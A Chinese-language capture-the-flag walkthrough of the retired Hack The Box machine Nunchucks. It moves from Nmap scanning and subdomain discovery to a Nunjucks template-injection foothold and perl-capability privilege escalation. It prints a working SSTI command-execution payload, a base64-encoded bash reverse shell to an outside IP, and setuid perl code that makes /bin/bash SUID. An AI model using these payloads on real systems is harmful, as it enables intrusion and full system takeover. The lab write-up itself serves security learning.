HOST: 10.10.11.122
OS: LINUX
发布时间: 2021-11-02
完成时间: 2021-11-04
机器作者: TheCyberGeek
困难程度: EASY
机器状态: 退休
MACHINE TAGS: #Node #SSTI #SUID
使用 Nmap 对目标服务器开放端口进行枚举,将 Web 重定向中的域名写入 hosts 文件后进行访问,通过子域名枚举发现存在 SSTI 的漏洞应用,成功触发命令执行获得初步立足点。
利用 linpase 脚本进行深度信息收集,发现 perl 存在 Capability 权限提升风险,最终通过修改 perl 脚本并运行获得 root 权限。
常规使用 Nmap 先进行开放端口扫描:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6c:14:6d:bb:74:59:c3:78:2e:48:f5:11:d8:5b:47:21 (RSA)
| 256 a2:f4:2c:42:74:65:a3:7c:26:dd:49:72:23:82:72:71 (ECDSA)
|_ 256 e1:8d:44:e7:21:6d:7c:13:2f:ea:3b:83:58:aa:02:b3 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 4BD6ED13BE03ECBBD7F9FA7BAA036F95
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Nunchucks - Landing Page
| tls-nextprotoneg:
|_ http/1.1
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Issuer: commonName=Nunchucks-CA/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-08-30T15:42:24
| Not valid after: 2031-08-28T15:42:24
| MD5: 57fc 410d e809 1ce6 82f9 7bee 4f39 6fe4
|_SHA-1: 518c 0fd1 6903 75c0 f26b a6cb e37d 53b8 a3ff 858b
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
从扫描结果中可以得知服务器系统是 Ubuntu ,对外提供了 Nginx 服务。在 HTTPS 端口的证书信息中存在一个 nunchucks.htb 的域名,访问 HTTP 端口也会重定向至该域名。
配置好 hosts 文件内容后,访问该域名可以看到该站:
随便翻一翻存在 /login
页面,尝试使用页面上存在的 Email 地址信息进行弱口令登录:
提示这个账号已经被禁用了,那么推测可以进行注册用户枚举,输入一个不存在的账号将会得到不同的提示信息:
这里我使用 cewl 工具将抓取站点内容生成字典:
$ cewl -w cewl-forum.txt -e -a https://nunchucks.htb
再使用的 wfuzz 工具进行自动化枚举,但尝试下来得到大量的 ERROR 信息,所以这条思路可以放弃。
$ wfuzz -Z -c -t 10 -H "Content-Type: application/json" -H "Cookie: _csrf=ALceg5YLCC3wT3Hfk4QIFae-" -w cewl-forum.txt -d '{"email":"[email protected]","password":"123456"}' -X POST -u "https://nunchucks.htb:443/api/login"
在没有更多可枚举信息的情况下,尝试进行子域名枚举:
浏览器访问新得到的域名:https://store.nunchucks.htb
可以看到,页面只存在一个功能输入一个邮件地址的订阅功能,并且存在页面信息回显。
通过查看 HTTP 请求,在返回信息中存在一个 X-Powered-By: Express
,而 Express 常出现在 Node 应用中。
$ http HEAD https://store.nunchucks.htb/ --verify=false
HTTP/1.1 200 OK
Connection: keep-alive
Content-Encoding: gzip
Content-Type: text/html; charset=utf-8
Date: Mon, 10 Oct 2022 12:44:37 GMT
ETag: W/"fbd-udK+KYlYFVN2Nn2DXdm1EXd8mv0"
Server: nginx/1.18.0 (Ubuntu)
X-Powered-By: Express
set-cookie: _csrf=cxGhpfLwa6Qh6MTotpRYPVzO; Path=/
第一时间想到的就是尝试进行 SSTI 攻击的验证,这里使用 burp 进行特殊字符的发送:
观察返回信息,传递的 {{1+1}}
适用模版运算的语句被成功解析成字符串 2
,说明 SSTI 漏洞存在。
其他更多详情可以查看引用内容:
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#tplmap https://expressjs.com/en/resources/template-engines.html
通过阅读:http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine ,将攻击 payload 发送至目标服务器成功触发命令执行回显。
{"email":"{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\")()}}"}
接下来只需要传递 bash 语句运行,成功拿到目标服务的立足点:
$ echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy42NC85OTAwIDA+JjE=|base64 -d
bash -i >& /dev/tcp/10.10.17.64/9900 0>&1
在 david 用户下可以获取到 user flag 。
这里漏洞实际产生的代码段也很简单,就是将内容透传至存在漏洞的 nunjucks 模版组件导致:
将 linpeas 枚举脚本上传至目标服务器运行它进行深度信息收集, 发现 perl
命令存在 Capability 特权提升:
这种属性也可以使用 getcap 命令进行查看:
[email protected]:/dev/shm$ c
/usr/bin/perl = cap_setuid+ep
在 GTFOBins 中可以找到权限提升语句。
./perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
id
uid=1000(david) gid=1000(david) groups=1000(david)
可是按照语句执行后并没有直接得到 root 权限,可能环境还存在一些问题先记下。随后在枚举信息中看到存在 Web 站点的备份压缩包:
其中的 backup.pl 脚本含 perl 脚本命令执行的完整代码段:
综合上面直接执行失败的命令语句,直接将脚本进行 copy 并修改代码内容,利用权限提升的命令执行更改 bash 命令权限,追加 SUID 权限。
#!/usr/bin/perl
use strict;
use POSIX qw(strftime);
use DBI;
use POSIX qw(setuid);
POSIX::setuid(0); system("chmod +s /bin/bash");
使用该方法成功得到目标系统的 root 权限。